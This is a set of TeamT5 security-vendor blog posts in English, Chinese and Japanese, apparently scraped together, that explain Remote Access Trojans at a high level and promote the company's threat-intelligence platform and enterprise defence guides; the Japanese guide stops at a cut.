- **Remote Control**: Executing commands and running programs on the victim’s computer.
- **Monitoring**: Using the system’s microphone or webcam to spy on the victim.

##How Do RATs Spread?
RATs can spread through various methods, including:

- **Phishing Emails**: Cybercriminals often use deceptive emails to trick users into downloading and executing malicious attachments.
- **Malicious Downloads**: Infected software or files from untrustworthy websites can carry RATs.
- **Exploiting Vulnerabilities**: Attackers exploit security weaknesses in software or operating systems to deploy RATs without user interaction.
- **Social Engineering**: Manipulating users into performing actions that lead to RAT infection, such as clicking on malicious links or downloading compromised files.

##The Threat Posed by RATs
The dangers of RATs are multifaceted and far-reaching. For individuals, RATs can lead to identity theft, financial loss, and privacy invasion. For organizations, the consequences can be even more severe, including data breaches, intellectual property theft, and significant financial damage. Moreover, RATs are often used as tools for advanced persistent threats (APTs), where cybercriminals maintain long-term access to a network, conducting prolonged and targeted attacks.

##Detection and Prevention
Detecting and preventing RAT infections involves a combination of proactive and reactive cybersecurity measures:
- **Regular Updates**: Keeping operating systems and software up to date to patch security vulnerabilities.
- **Antivirus and Anti-malware**: Using robust security software to detect and remove threats.
- **Firewalls**: Implementing network firewalls to monitor and control incoming and outgoing traffic.
- **User Education**: Training users to recognize phishing attempts and avoid suspicious downloads.
- **Intrusion Detection Systems (IDS)**: Deploying IDS to identify unusual activity that may indicate a RAT infection.

##TeamT5’s Expertise and ThreatVision Platform
In the Asia-Pacific region, the need for localized cyber threat intelligence is paramount. TeamT5, with its decade-long dedication to researching Asia-Pacific cyber threats, offers unparalleled expertise in this domain. Our team’s proficiency in the Chinese language and deep understanding of regional APT hacker groups, particularly those from China, sets us apart.

Our [ThreatVision](https://teamt5.org/en/products/threatvision/?utm_source=blogs&utm_medium=website) platform is a comprehensive solution that goes beyond redistributing open-source intelligence. By conducting in-house research and analysis, ThreatVision provides up-to-date, accurate intelligence tailored to the unique challenges faced by organizations in the Asia-Pacific region.

###Key Features of ThreatVision
- **Rich Library**: Includes Indicators of Compromise (IOCs) for swift threat identification, Threat Hunting Tools for direct detection, and Intelligence Reports for in-depth analysis of hacker behavior.
- **Customized Services**: The Request For Information (RFI) Service offers tailored reports and customized analysis.
- **Integration Capabilities**: The API Service facilitates automation and enhances threat response efficiency.
 

For detailed information about all known RATs and other cyber threats, explore the ThreatVision platform by TeamT5. Stay ahead of cybercriminals with our localized and specialized threat intelligence solutions.

 
![pic_what-are-remote-access-trojans-rats.jpg](https://uploads.teamt5.org/upload/original/pic_what-are-remote-access-trojans-rats.jpg)
<center>ThreatVision’s Malware Gallery, filtered to only show RATs</center>

##Summary
Remote Access Trojans (RATs) represent a significant and ongoing threat in the cybersecurity landscape. By understanding their mechanisms, spread methods, and the damage they can cause, individuals and organizations can better prepare and protect themselves. TeamT5, with its extensive experience and specialized ThreatVision platform, is dedicated to providing the necessary intelligence to combat these threats effectively. Embrace proactive cybersecurity measures and leverage localized threat intelligence to secure your digital future.

 
 

>Learn more about [ThreatVision](https://teamt5.org/en/products/threatvision/?utm_source=blog&utm_medium=website) and enhance your cybersecurity strategy with TeamT5 today. 
>
>[Contact us](https://teamt5.org/en/contact-us/?utm_source=blog&utm_medium=website) to schedule a consultation.

What are Remote Access Trojans (RATs)?

儘管網路安全工具不斷發展革新，已存在許久的威脅──遠端存取木馬（Remote Access Trojans, RATs），仍然持續挑戰著安全措施，並嘗試利用系統中每個潛在漏洞。遠端存取木馬使網路犯罪者能未經授權存取，並控制目標系統，無論對個人用戶或企業組織來說，皆構成重大風險。理解 RATs 的運作機制及其深遠影響，對加強網路安全防護至關重要。

 
##什麼是 RATs？
遠端存取木馬 （RATs） 是一種惡意軟體，讓攻擊者能夠未經授權，遠端控制目標電腦。一旦 RATs 感染系統，它會在電腦中建立後門，允許攻擊者透過後門執行各種惡意活動，例如：

- **鍵盤紀錄**：捕捉和記錄使用者的電腦按鍵操作，竊取帳戶密碼和信用卡資訊等敏感資訊。
- **螢幕截圖**：截取使用者的螢幕截圖或進行實時錄影。
- **文件存取**：上傳、下載或刪除受感染系統上的機密文件。
- **遠端控制**：在受害者的電腦上，遠端執行指令並運作惡意程式。
- **非法監控**：使用受感染設備的麥克風或網路攝影機，監視受害者。

 
##RATs 如何傳播？
RATs 可以透過多種方法傳播，包括：
- **釣魚郵件**：網路犯罪者經常使用詐騙電子郵件，誘使使用者下載和執行惡意附件。
- **惡意下載**：從不受信任的網站下載的惡意軟體或文件，可能包含 RATs。
- **漏洞利用**：無需使用者互動，攻擊者利用作業系統或應用程式的安全漏洞來部署 RATs。
- **社交工程**：透過人性弱點，操控使用者執行某些操作，例如點擊惡意連結或下載受損文件等，導致 RATs 感染。

 
##RATs 帶來的威脅
RATs 帶來多面向的危險，且會造成深遠影響。對個人而言，RATs 可能導致身份盜竊、財務損失和隱私侵犯。對組織而言，後果將會更加嚴重，包含機密資料外洩、知識產權遭竊以及重大經濟損失。此外，RATs 經常被用作進階持續性威脅 （APT）的工具，網路犯罪者可透過 RATs 長期存取網路，進行持續且有針對性的攻擊。

 
##檢測與預防
檢測和預防 RATs 感染，需要採取主動和被動的網路安全措施：

- **定期更新**：保持作業系統和應用程式的最新版本狀態，以避免未知的安全漏洞。
- **防毒軟體和防惡意軟體**：使用強大的防毒軟體，檢測和刪除電腦環境中潛藏的威脅。
- **防火牆**：使用網路防火牆，監測並控制進出的可疑流量。
- **網路安全培訓**：進行網路安全培訓，確保使用者能夠識別釣魚攻擊並避免可疑下載。
- **入侵偵測系統（IDS）**：部署入侵偵測系統，識別並警告 RATs 感染的異常活動。

 
##TeamT5 的專業知識與 ThreatVision 平台
要有效地理解和應對威脅，需要精確、及時且具有豐富情境背景的情資，尤其在飽受駭客攻擊的亞太地區，對在地情資的需求至關重要。TeamT5 憑藉其超過二十年的亞太網路威脅研究，提供了無與倫比的專業知識。我們的團隊精通中文，並對區域性 APT 駭客組織擁有深厚了解，使我們具有威脅情資的獨特優勢。

我們的 [ThreatVision](https://teamt5.org/tw/products/threatvision/?utm_source=blogs&utm_medium=website) 平台是一個全面性的解決方案，不僅僅是重新派送已存在的公開情資，透過 TeamT5 專業分析師團隊的內部研究和分析，ThreatVision 針對亞太地區組織所面對的獨特網路威脅，提供最新、最精確的情資，幫助企業和機構更有效地應對。

##ThreatVision 的主要功能
- **豐富的資料庫**：包括快速識別威脅入侵指標 （IOCs）、直接檢測環境中潛在漏洞的威脅狩獵工具，和深入分析駭客行為的情資報告。
- **客製化服務**：透過資訊需求服務（RFI），TeamT5 提供客製化的報告與分析。
- **整合能力**：API 服務支援快速整合平台資源，促進服務自動化，提高威脅檢測和事件處理的效率。

若需了解所有已知的 RATs 和其他網路威脅的詳細資訊，您可以瀏覽 TeamT5 的 ThreatVision 平台，透過我們在地化和專業化的威脅情資解決方案，始終領先於網路犯罪族群。

 

![pic_what-are-remote-access-trojans-rats.jpg](https://uploads.teamt5.org/upload/original/pic_what-are-remote-access-trojans-rats.jpg)
<center>ThreatVision 的惡意軟體庫，透過篩選後顯示遠端存取木馬 （RATs）</center>

 
##總結
遠端存取木馬 （RATs）在網路安全領域中，構成重大且持續的威脅。通過了解其運作機制、傳播方式及可能造成的損害，個人用戶和企業組織能更完善做好準備，並保護自身的資料安全。TeamT5 憑藉其豐富的經驗和專業的 ThreatVision 平台，致力於提供應對這些威脅所需的情資。採取積極的防禦安全措施，並利用在地化的威脅情報，保護您的數位未來。

 
 
>請即刻[聯絡我們](https://teamt5.org/tw/contact-us/?utm_source=blog&utm_medium=website)，進一步安排諮詢，強化企業資安防禦。

什麼是遠端存取木馬 （RATs）？

サイバーセキュリティツールが進化しているにもかかわらず、セキュリティ対策を脅かし、脆弱性を悪用し続ける脅威が 1 つあります。それがリモートアクセス型トロイの木馬 (RAT) です。これらの悪意のあるプログラムは、サイバー犯罪者に標的のシステムへの不正アクセスと制御を許可し、個人と組織の両方に重大なリスクをもたらします。RATとそのメカニズム、そして影響を理解することは、サイバー防御を強化する上で非常に重要です。

##RAT とは?
リモートアクセス型トロイの木馬(RAT) は、攻撃者が標的のコンピュータを完全に制御できるように設計されたマルウェアの一種です。RAT がシステムに感染すると、バックドアが確立され、攻撃者は次のようなさまざまな悪意のある活動を実行できるようになります。

- **キーロギング**: ユーザーのキー入力をキャプチャして記録し、パスワードやクレジットカードの詳細など、機密情報を盗みます。
- **スクリーンキャプチャ**: ユーザーのアクティビティのスクリーンショットまたはライブ ビデオを撮影します。
- **ファイルへのアクセス**: 感染したシステムからファイルをアップロード、ダウンロード、または削除します。
- **リモートコントロール**: 被害者のコンピュータ上でコマンドを実行したり、プログラムを実行します。
- **監視**: システムのマイクまたは Web カメラを使用して被害者を監視します。

##RAT はどのように拡散されるのか?
RAT は、次のような方法で拡散されます。
- **フィッシングメール**: サイバー犯罪者は、詐欺メールを使用してユーザーを騙し、悪意のある添付ファイルをダウンロードさせることで実行します。
- **悪意のあるダウンロード**: 信頼できない Web サイトにある感染したソフトウェアまたはファイルには、RAT が含まれている可能性があります。
- **脆弱性の悪用**: 攻撃者は、ソフトウェアまたはオペレーティングシステムのセキュリティ上の弱点を悪用して、ユーザーの操作なしで RAT を展開します。
- **ソーシャルエンジニアリング**: 悪意のあるリンクをクリックしたり、危険なファイルをダウンロードしたりするなど、ユーザーを操作して RAT 感染につながる行為を実行させます。

##RAT がもたらす脅威
RAT の危険性は多面的で広範囲にわたります。個人の場合、RAT は個人情報の盗難、金銭的損失、プライバシー侵害につながる可能性があります。組織の場合、デー​​タ侵害、知的財産の盗難、多大な経済的損害など、さらに深刻な結果を招く可能性があります。さらに、RATは高度で持続的な脅威（APT）のツールとして使用されることが多く、サイバー犯罪者はネットワークへの長期的なアクセスを維持し、長期にわたる標的型攻撃を行います。

##検出と予防
RAT 感染の検出と予防には、事前および事後対策を組み合わせたサイバーセキュリティ対策が必要です。
- **定期的な更新**: オペレーティングシステムとソフトウェアを常に最新の状態に保ち、セキュリティの脆弱性にパッチを当てます。
- **ウイルス対策とマルウェア対策**: 堅牢なセキュリティソフトウェアを使用して、脅威を検出・除去します。
- **ファイアウォール**: ネットワーク・ファイアウォールを導入し、送受信トラフィックを監視および制御します。
- **ユーザー教育**: フィッシング詐欺を認識し、疑わしいダウンロードを回避するようユーザーを教育します。
- **侵入検知システム (IDS)**: IDS を導入して、RAT 感染を示す可能性のある異常な活動を特定します。

##TeamT5 の専門知識と ThreatVision プラットフォーム
アジア太平洋地域では、ローカライズされたサイバー脅威インテリジェンスが極めて重要です。TeamT5 は、アジア太平洋地域におけるサイバー脅威の調査に10 年以上携わっており、この分野において比類のない専門知識を提供しています。当社の最大の強みとして、調査チームは言語的、地政学的優位性を有しており、地域の APT ハッカー グループ、特に中国のグループを深く理解していることが特徴です。

当社の [ThreatVision](https://teamt5.org/jp/products/threatvision/?utm_source=blog&utm_medium=website) プラットフォームは、オープンソースのインテリジェンスを再配信する以上の包括的なソリューションです。自社で調査と分析を実施することにより、アジア太平洋地域の組織が直面する独自の課題に合わせて調整された、最新かつ正確なインテリジェンスを提供します。

##ThreatVision の主な機能
- **豊富なライブラリ**: 脅威を迅速に特定するための侵害指標 (IOC)、直接検出のための脅威ハンティング ツール、ハッカーの行動を詳細に分析するためのインテリジェンス レポートが含まれています。
- **カスタマイズサービス**: 情報提供依頼 (RFI) サービスでは、カスタマイズされたレポートとカスタマイズされた分析が提供されます。
- **統合機能**: API サービスにより、自動化が促進され、脅威への対応効率が向上します。


既知のすべての RAT およびその他のサイバー脅威に関する詳細情報については、TeamT5 の [ThreatVision](https://teamt5.org/jp/products/threatvision/?utm_source=blog&utm_medium=website) プラットフォームをご覧ください。ローカライズされた専門の脅威インテリジェンスソリューションで、サイバー犯罪者に先手を打ちましょう。

 
![pic_what-are-remote-access-trojans-rats.jpg](https://uploads.teamt5.org/upload/original/pic_what-are-remote-access-trojans-rats.jpg)
<center>_ThreatVisionのマルウェアギャラリー。RATのみを表示するようにフィルタリングされています。_</center>

##まとめ
リモートアクセス型トロイの木馬 (RAT) は、サイバーセキュリティにおける重大かつ継続的な脅威となっています。RAT のメカニズム、拡散方法、および RAT が引き起こす可能性のある被害を理解することで、個人や組織はより適切に備え、自らを守ることができます。TeamT5 の豊富な経験と専門的な [ThreatVision](https://teamt5.org/jp/products/threatvision/?utm_source=blog&utm_medium=website) プラットフォームは、これらの脅威に効果的に対抗するために必要なインテリジェンスを提供することに専念しています。プロアクティブなサイバー セキュリティ対策を採用し、ローカライズされた脅威インテリジェンスを活用して、デジタル、そして皆様の未来を守りましょう。

リモートアクセス型トロイの木馬 (RAT) とは?

本文匯集[TeamT5 杜浦數位安全的團隊](https://teamt5.org/tw/about-us/?utm_source=blog&utm_medium=website)逾20年的資安防禦專業經驗，旨在與企業分享資安防禦的關鍵知識，並分析挑選資安解決方案和服務時，需要注意的重要事項。希望對企業有所幫助，共同打造資安韌性 !


## 企業進行資安防禦的關鍵
初步可參考 NIST 資安框架，其由美國國家標準與技術研究所提出，透過有系統、有架構的標準，協助企業檢視自身資安防禦的不足，並針對特定項目進行補強。更多說明請見此文章〈[如何依據 NIST 資安框架，檢查企業資安防禦狀況?](https://teamt5.org/tw/posts/how-to-check-cyber-resilience-of-the-enterprise-based-on-nist-cybersecurity-framework/?utm_source=blog&utm_medium=website)〉。

進一步來說，資安防禦如同企業與惡意攻擊者的長期比賽，唯有知己知彼，方能百戰百勝。而「威脅情資」即是防禦關鍵，我們特別撰寫白皮書，協助讀者了解威脅情資如何協助企業掌握惡意攻擊者的動機、目標和攻擊行為的脈絡，使企業能夠預防和識別可能遭濫用的數位資產，[立刻下載](https://teamt5.org/tw/posts/whitepaper-tw-understanding-threat-intelligence-and-the-threat-landscape-with-team-t5/?utm_source=blog&utm_medium=website)。


而在日常營運中，我們特別強調企業採用威脅狩獵（threat hunting）策略，有助企業採取主動積極的防禦措施，強化企業的資安韌性，確保業務營運不中斷。更多說明請見此文章〈[企業採納威脅狩獵策略的 5 個好處](https://teamt5.org/tw/posts/5-benefits-of-threat-hunting-strategies-for-enterprises/?utm_source=blog&utm_medium=website)〉。


##企業宜掌握商業機密、機敏資料是否外洩至暗網
隨著數位時代的發展，企業愈來越依賴網路進行業務運營。然而，「暗網（dark web）」的存在對企業資安構成嚴峻挑戰。我們建議企業應進一步了解暗網對企業資安的影響，並採取積極措施。

關於暗網，你需要了解的事情有：
- [什麼是暗網？](https://teamt5.org/tw/posts/what-is-the-dark-web/?utm_source=blog&utm_medium=website)
- [暗網對企業資安的影響是什麼?](https://teamt5.org/tw/posts/the-impact-of-dark-web-on-enterprise-cybersecurity/?utm_source=blog&utm_medium=website)
- [暗網影響企業的真實案例 及 企業應如何預防?](https://teamt5.org/tw/posts/real-cases-of-how-the-dark-web-has-affected-enterprises-and-how-they-could-have-prevented-it/?utm_source=blog&utm_medium=website)


## 企業宜依據產業特性，規劃資安防禦策略
而依據產業特性，我們也建議企業為本身需求，量身規劃有效的資安策略，以達到最佳防禦效果。下列為常遭受惡意攻擊的產業，分別說明建議對策。

- 金融業：[閱讀資安防禦對策](https://teamt5.org/tw/industry/finance/?utm_source=blog&utm_medium=website)

- 醫療院所：[閱讀資安防禦對策](https://teamt5.org/tw/industry/medical/?utm_source=blog&utm_medium=website)

- 科技製造業：[閱讀資安防禦對策](https://teamt5.org/tw/industry/high-tech/?utm_source=blog&utm_medium=website)

- 政府機關：[閱讀資安防禦對策](https://teamt5.org/tw/industry/government/?utm_source=blog&utm_medium=website)



## 企業選購資安服務與產品的重點

協助企業達成其資安防禦策略目標的產品與服務非常多元，我們以自身專長的類別，為企業提供評估與選購指南。企業可以依據其目標，了解資安事件應變服務、威脅偵測應變代管服務（MDR）、端點檢測和回應解決方案（EDR）和威脅情資平台（TIP）的評估與採購重點。


####威脅偵測應變代管服務（MDR）評估與採購重點
Managed Detection and Response（MDR）服務供應商為企業提供外包的威脅偵測和應變服務，協助企業識別、分析和應對資安威脅。然而，挑選和採購合適的 MDR 服務供應商是一個重大的決策，影響企業數位資產與資訊系統能否獲得妥善防禦服務。
[閱讀 MDR 白皮書](https://teamt5.org/tw/posts/whitepaper-managed-detection-and-response-mdr/?utm_source=blog&utm_medium=website) & 
[閱讀採購指南](https://teamt5.org/tw/posts/key-considerations-for-evaluating-managed-detection-and-response-mdr-solution/?utm_source=blog&utm_medium=website)


####資安事件應變服務 評估與採購重點
IR 服務旨在協助企業，針對資訊安全事件、事故，進行即時回應和調查，以幫助企業降低損害。然而，在挑選和採購 IR 服務時，企業需要謹慎考慮 5 個關鍵因素。
[閱讀採購指南](https://teamt5.org/tw/posts/key-considerations-for-evaluating-incident-response-service-ir/?utm_source=blog&utm_medium=website)


####端點檢測和回應解決方案（EDR） 評估與採購重點
EDR（Endpoint Detection and Response）解決方案是一種強大的工具，可以幫助企業及早檢測和應對端點威脅。然而，在挑選和採購 EDR 解決方案時，企業需要注意 6 個關鍵重點，以確保所選擇的解決方案符合其資訊安全需求，更能協助資訊系統能長期穩定運作。
[閱讀採購指南](https://teamt5.org/tw/posts/key-considerations-for-evaluating-endpoint-detection-and-response-edr-solutions/?utm_source=blog&utm_medium=website)

####威脅情資平台（TIP）評估與採購重點
威脅情資平台提供了關鍵的威脅情資，幫助企業識別、分析和應對威脅。然而，在挑選和採購威脅情資平台時，企業需要謹慎考慮 5 個關鍵因素 。
[閱讀採購指南](https://teamt5.org/tw/posts/key-considerations-for-evaluating-threat-intelligence-platform-tip-solution/?utm_source=blog&utm_medium=website)

##結語
隨著數位時代的來臨，企業面臨著越來越複雜的資安威脅。企業宜依自身需求與策略目標，選擇合適的資安服務、產品，方能建立資安韌性，達成全面資安防禦。



>杜浦數位安全 TeamT5 為網路威脅狩獵專家，團隊具備超過20年的惡意程式與進階持續性威脅（APT）的經驗，基於地緣和語言優勢，我們有效掌握亞太地區的駭客攻擊，更經常受邀參加世界級資安會議、發表研究成果。
>
>歡迎聯絡我們，了解備受客戶肯定的資安產品與服務 
>[https://teamt5.org/tw/contact-us/](https://teamt5.org/tw/contact-us/?utm_source=blog&utm_medium=website)


企業資安防禦指南【2025 最新版】

This article brings together [TeamT5](https://teamt5.org/en/about-us/?utm_source=blog&utm_medium=website) ’s 20+ years of professional experience in cybersecurity defense for enterprise. Also, we analyze the key points that should be paid attention to when selecting cybersecurity solutions and services. We hope it will be helpful and we can assist you to build cybersecurity resilience together!


## The key to enterprise cybersecurity defense
As a preliminary reference, you may refer to the NIST Cybersecurity Framework, which was proposed by the National Institute of Standards and Technology in the United States. Through systematic and structured standards, it helps enterprises review the deficiencies of their own cybersecurity defenses and strengthen them for specific projects. See this article for more details - “[How to Check the Cybersecurity Defense Status of the Enterprise according to the NIST Cybersecurity Framework?](https://teamt5.org/en/posts/how-to-check-cyber-resilience-of-the-enterprise-based-on-nist-cybersecurity-framework/?utm_source=blog&utm_medium=website)”.

Furthermore, cybersecurity defense is like a long-term competition between enterprises and malicious attackers. We believe that cyber threat intelligence is the fundamental of all cybersecurity strategies. It provides insights into the tactics, techniques, and procedures (TTPs) of adversaries, enabling organizations to prepare, prevent, and identify cyber threats that could exploit valuable resources. Please see this whitepaper for more details - “ [【Whitepaper】Understanding Threat Intelligence & The Threat Landscape with TeamT5](https://teamt5.org/en/posts/whitepaper-understanding-threat-intelligence-and-the-threat-landscape-with-team-t5/?utm_source=blog&utm_medium=website)”.

In daily operations, we particularly emphasize that enterprises adopt threat hunting strategies to help enterprises take proactive defensive measures, strengthen their cybersecurity resilience, and ensure uninterrupted business operations. See this article for more details - ”[The benefits of threat hunting: The key to greater security resilience for enterprise](https://teamt5.org/en/posts/the-benefits-of-threat-hunting-the-key-to-greater-security-resilience-for-enterprise/?utm_source=blog&utm_medium=website)”.

##Enterprises should know whether business secrets and sensitive information are leaked to the dark web

With the development of the digital age, enterprises are increasingly relying on the Internet for business operations. However, the existence of the "dark web" poses severe challenges to corporate cybersecurity. We recommend that companies should further understand the impact of the dark web on corporate information security and take proactive measures.

Here’s what you need to know about the dark web:
- [What is the Dark Web?](https://teamt5.org/en/posts/what-is-the-dark-web/?utm_source=blog&utm_medium=website)
- [The Impact of Dark Web on Enterprise Cybersecurity](https://teamt5.org/en/posts/the-impact-of-dark-web-on-enterprise-cybersecurity/?utm_source=blog&utm_medium=website)
- [Real Cases of How the Dark Web Has Affected Enterprises and How They Could Have Prevented It](https://teamt5.org/en/posts/real-cases-of-how-the-dark-web-has-affected-enterprises-and-how-they-could-have-prevented-it/?utm_source=blog&utm_medium=website)


## Cyber incidents in daily operations
Various cyber incidents might happen in daily operations. We provide case studies and suggestions for enterprises below. 

#### Cyber Incident: Advanced persistent threat attack
As hacker attack technology continues to evolve, advanced persistent threat (APT) techniques are becoming even more complex. More and more malicious programs are able to bypass EDR (Endpoint Detection and Response) and use legitimate tools to control endpoints.

To deal with endless APT attacks, how should enterprises or organizations effectively deal with them? The following case reveals how TeamT5 actually assists enterprise organizations to handle APT attacks. In this case, you may understand hacker attack techniques and how incident response measures reduce the losses to strengthen future cybersecurity defense.

- Case Study: [link](https://teamt5.org/en/posts/ir-use-case-how-to-respond-to-advanced-persistent-threat-apt/?utm_source=blog&utm_medium=website)


####Cyber Incident: Ransomware
When an enterprise or organization faces a destructive cyber attack, time is of the essence in order to be able to respond and recover from it. If the attacker group can be detected at an early stage when they have infiltrated the victim organization's network, there is still a chance to effectively block the attacker group's behavior immediately, with less impact on the enterprise or organization.

How can enterprises or organizations respond to ransomware effectively? Through the following sharing of the case in which TeamT5 assists enterprises and organizations in cybersecurity incidents you may learn how to strengthen cybersecurity defense, not only prevent malicious attacks, but also minimize the losses caused by cyber threats.

- Case Study: [link](https://teamt5.org/en/posts/ir-use-case-how-to-respond-to-ransomware-attack/?utm_source=blog&utm_medium=website)

####Cyber Incident: Personal information leaked
Hackers often use various network attack methods, such as zero-day attacks, phishing, brute force attacks, social engineering, malware, etc., in an attempt to gain system access and sensitive data. Then, the data is used to target enterprises, governments, or individuals. All these cyber threat events pose a major threat. Taking the leakage of personal information as an example, it causes people to lose money due to fraud and directly damages the reputation of enterprises.

How should companies or organizations effectively deal with cybersecurity incidents caused by malicious attacks? The following is a case in which TeamT5 actually assists companies and organizations in handling personal data breach. In this case, you may learn (1) how hackers obtain sensitive personal data through network attacks; (2) the emergency response measures required to deal with the incident; (3) how to reduce the losses caused by the incident threat to the minimum, and plan the defense priorities for future.

- Case Study: [link](https://teamt5.org/en/posts/ir-use-case-how-to-respond-to-private-data-breach/?utm_source=blog&utm_medium=website)



## Key points for enterprises to purchase cybersecurity services and solutions

There are a wide variety of products and services that help enterprises achieve their cybersecurity defense strategic goals. We provide enterprises with evaluation and purchasing guides based on the categories of our expertise. Enterprises can understand the evaluation and procurement priorities for security incident response (IR), endpoint detection and response solutions (EDR), and threat intelligence platforms (TIP) based on their goals.


####Incident Response (IR): Key Considerations for Procurement
Incident Response services are designed to assist enterprises with immediate response and investigation of cybersecurity incidents and accidents to help them reduce damage. However, when selecting and procuring IR services, businesses need to carefully consider 5 key factors.

[Read the guide](https://teamt5.org/en/posts/key-considerations-for-evaluating-incident-response-service-ir/?utm_source=blog&utm_medium=website)

####Threat Intelligence Platform (TIP) : Key Considerations for Procurement
The threat intelligence platform provides critical threat intelligence to help enterprises identify, analyze and respond to threats. However, when selecting and purchasing a threat intelligence platform, enterprises need to carefully consider 5 key factors.

[Read the guide](https://teamt5.org/en/posts/key-considerations-for-evaluating-threat-intelligence-platform-tip-solution/?utm_source=blog&utm_medium=website)

####Endpoint Detection and Response (EDR) Solution: Key Considerations for Procurement
EDR (Endpoint Detection and Response) solution is a powerful tool that can help enterprises detect and respond to endpoint threats early. However, when selecting and purchasing EDR solutions, enterprises need to pay attention to 6 key points to ensure that the chosen solution meets their cybersecurity needs and can help the information system operate stably in the long term.

[Read the guide](https://teamt5.org/en/posts/key-considerations-for-evaluating-endpoint-detection-and-response-edr-solutions/?utm_source=blog&utm_medium=website)

##Conclusion
With the advent of the digital age, enterprises are facing increasingly complex cyber threats. Enterprises should choose appropriate cybersecurity services and solutions based on their own needs and strategic goals in order to build cyber security resilience and achieve the defense goals.



>TeamT5 consists of top cyber threat analysts. Leveraging our geographic and cultural advantages, we have the best understanding of cyber attackers in Asia Pacific. TeamT5 is frequently invited to share insights at top cybersecurity conferences. Our threat intelligence research expertise and solutions are recognized as the 2023-2024 Company of the Year Award in Taiwanese Threat Intelligence by Frost & Sullivan.
>
>Contact us and know more of intelligence-driven cybersecurity solutions 
>[https://teamt5.org/en/contact-us/](https://teamt5.org/en/contact-us/?utm_source=blog&utm_medium=website)


Enterprise Cybersecurity Guide【2025】

この記事では、[TeamT5](https://teamt5.org/jp/about-us/?utm_source=blog&utm_medium=website) の20年以上にわたるサイバー防御の専門的な経験と、企業向けサイバー防御の要点を紹介します。また、サイバーセキュリティソリューションやサービスを選定する際に注目すべき重要なポイントについても解説します。これが企業にとって役立ち、共にサイバーセキュリティのレジリエンスを構築する一助となることを願っています！

##企業の防御の鍵
まず、米国の国立標準技術研究所（NIST）が提案したNISTサイバーセキュリティフレームワークを参考として挙げます。このフレームワークは、体系的で構造化された基準を通じて、企業が自身のサイバー防御の欠点を見直し、特定のプロジェクトに向けてそれを強化する手助けをします。詳細については、こちらの記事をご覧ください - [「NIST サイバーセキュリティフレームワークに基づいて、企業のサイバーセキュリティ状況を確認するには?」](https://teamt5.org/jp/posts/how-to-check-cyber-resilience-of-the-enterprise-based-on-nist-cybersecurity-framework/)。


また、サイバー防御は企業と悪意のある攻撃者との長期的な競争のようなものであり、私たちは、サイバー脅威インテリジェンスがすべてのサイバーセキュリティ戦略の基盤であると考えています。サイバー脅威インテリジェンスは、敵の戦術、技術、手順（TTP）についての知見を提供し、組織がサイバー脅威に備え、予防し、貴重なリソースを標的とする可能性のある脅威を特定することを支援します。詳細については、こちらの記事をご覧ください - [「【Whitepaper】Understanding Threat Intelligence & The Threat Landscape with TeamT5”」](https://teamt5.org/en/posts/whitepaper-understanding-threat-intelligence-and-the-threat-landscape-with-team-t5/?utm_source=blog&utm_medium=website)”。

日々の運用において、私たちは特に企業に対して脅威ハンティング戦略の採用を強調しています。これにより、企業は積極的な防御措置を講じ、サイバーセキュリティのレジリエンスを強化し、ビジネスの中断のない運営を確保することができます。詳細については、こちらの記事をご覧ください - [「企業における脅威ハンティングのメリット： サイバーレジリエンスを高める鍵」](https://teamt5.org/jp/posts/how-to-check-cyber-resilience-of-the-enterprise-based-on-nist-cybersecurity-framework/)。

##ビジネスの機密情報やセンシティブな情報がダークウェブに流出していないかの確認
デジタル時代の進展に伴い、企業はビジネス運営のためにインターネットにますます依存しています。しかし、「ダークウェブ」の存在は企業のサイバーセキュリティに対して深刻な課題をもたらします。なので、企業がダークウェブが企業の情報セキュリティに与える影響をさらに理解し、積極的な対策を講じることが必要とされます。

ダークウェブについて知っておくべきこと：
- [What is the Dark Web?](https://teamt5.org/en/posts/what-is-the-dark-web/?utm_source=blog&utm_medium=website)
- [The Impact of Dark Web on Enterprise Cybersecurity](https://teamt5.org/en/posts/the-impact-of-dark-web-on-enterprise-cybersecurity/?utm_source=blog&utm_medium=website)
- [Real Cases of How the Dark Web Has Affected Enterprises and How They Could Have Prevented It](https://teamt5.org/en/posts/real-cases-of-how-the-dark-web-has-affected-enterprises-and-how-they-could-have-prevented-it/?utm_source=blog&utm_medium=website)

##日常運用におけるサイバーインシデント
日常の運用において、さまざまなサイバーインシデントが発生する可能性があります。以下では、企業向けのケーススタディと提案を提供します。

####サイバーインシデント：持続的標的型脅威（APT）攻撃
ハッカーの攻撃技術が日々進化する中で、持続的標的型脅威（APT）攻撃の手口はさらに複雑化しており、多くの悪意のあるプログラムがEDR（エンドポイント検出および応答）を回避し、正規のツールを使用してエンドポイントを制御できる悪質なプログラムも増えています。

- Case Study: [link](https://teamt5.org/en/posts/ir-use-case-how-to-respond-to-advanced-persistent-threat-apt/?utm_source=blog&utm_medium=website)



####サイバーインシデント：ランサムウェア
企業や組織がサイバー攻撃に直面した場合、対応と復旧には迅速さが最も重要です。攻撃者グループが被害組織のネットワークに侵入した早い段階で検知できれば、企業や組織への影響を抑えながら、攻撃者グループの行動を即座に且つ迅速にブロックできる可能性を高めることができます。

企業や組織が効果的にランサムウェアに対応するにはどうするべきか？TeamT5がサイバーセキュリティインシデントに遭遇した企業や組織を支援した事例の紹介を通して、サイバー防御を強化し、悪意のある攻撃を防ぐだけでなく、サイバー脅威による損失を最小限に抑える方法を学ぶことができます。

- Case Study: [link](https://teamt5.org/en/posts/ir-use-case-how-to-respond-to-ransomware-attack/?utm_source=blog&utm_medium=website)


####サイバーインシデント：個人情報の流出
ハッカーは、ゼロデイ攻撃、フィッシング、総当たり攻撃、ソーシャルエンジニアリング、マルウェアなど、さまざまなネットワーク攻撃手法を用いて、システムへのアクセスや機密データの取得を試み、そのデータは主に企業、政府、または個人を標的にするために使用されます。万が一、個人情報が漏洩した場合、詐欺によって多くの人々が金銭を失い、企業の評判が直接損なわれるため、これらすべては大きな脅威となります。

企業や組織は、悪意のある攻撃によるサイバーセキュリティインシデントにどのように対処すれば効果的なのでしょうか。
以下は、TeamT5が実際に企業や組織の個人情報漏洩対応を支援したケースです。この事例では、(1)ハッカーがネットワーク攻撃を通じてどのように機密性の高い個人データを入手するのか、(2)インシデントに対処するために必要な緊急対応策、(3)インシデントの脅威による損失を最小限に抑え、今後の防御の優先順位を計画する方法を学ぶことができます。

- Case Study: [link](https://teamt5.org/en/posts/ir-use-case-how-to-respond-to-private-data-breach/?utm_source=blog&utm_medium=website)


## 企業がサイバーセキュリティ・サービスとソリューションを購入する際のポイント

